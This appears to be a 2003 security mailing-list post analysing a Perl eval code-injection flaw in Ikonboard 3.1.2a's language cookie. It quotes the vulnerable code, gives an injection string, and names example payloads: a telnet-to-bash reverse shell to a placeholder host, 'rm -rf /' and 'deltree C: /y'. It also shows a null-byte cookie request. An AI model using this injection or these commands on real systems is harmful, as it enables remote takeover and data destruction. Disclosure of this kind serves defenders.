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Attemps with Ikonboard 3.1.2a
From: Shan Whitman <xzziroz () rootshell be>
Date: Wed, 10 Sep 2003 01:44:29 +0200

Vender: Jarvis Entertainment
Product: Ikonboard
Version: 3.1.2a and Below (All current versions).

On the topic of the recent post about Ikonboard and it's command execution vulnerabilities

In FUNC.pm: 

# Make sure the cookie data is legal

        if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {

            $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;


        $default = $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}

                        || $iB::INFO->{'DEFAULT_LANGUAGE'}

                        || 'en';

        # Quick check to make sure the directory exists

        unless (-d $iB::INFO->{IKON_DIR}."Languages/$default") {

                $default = 'en';


        my $code = 'require '. "\"$default/" .$area. '.pm"; $lang ='. $area. '->new();';

        eval $code;

        $obj->cgi_error("Could not access the language file: $@") if $@;

        return $lang;



The first bit is of course where the exploit actualy accures. Although we can in definitely define $default to our own 
value I scratched my head for a while trying to figure out how this could be exploited.

After a few hours of staring i came to the final (and easy) conclusion that is this:

If $default where to equal: where 'en' is the usualy default string contained in $default and UniversalWords is 
contained in $area and then the .pm etc.
$default = "en/UniversalWords.pm\"; <My code> ; ##"

then the eval would simply interpret to the following: 

eval require "en/UniversalWords.pm"; <My Code>; ##/" .$area. '.pm"; $lang = '. $area. '->new().

so what would happen is the eval would do the require on en/UniversalWords.pm then it would move on to execute whatever 
arbitrary perl code you placed in <My Code>. Such as a 
" `telnet bla.bla.bla.bla | /bin/bash | telnet bla.bla.bla.bla` " or worse (hopefully) an deltree C: /y or rm -rf /, 
seeing as Ikonboard can be ran on linux or windows.

The meathod of injecting the code we wish into $default would be as simple as it is in the exploit for 3.1.1: 

Host: $HOST
Cookie: lang=%HEX$HEX%HEX%00 ## Followed by a Null Byte to bypass filters.
Connection: close


As of this moment I have not written a working exploit and am not even 100% sure if this would work, seeing as the 
person who posted this vulnerability a day ago claimed he had a working example I decided to wait on this to see how it 
is done.


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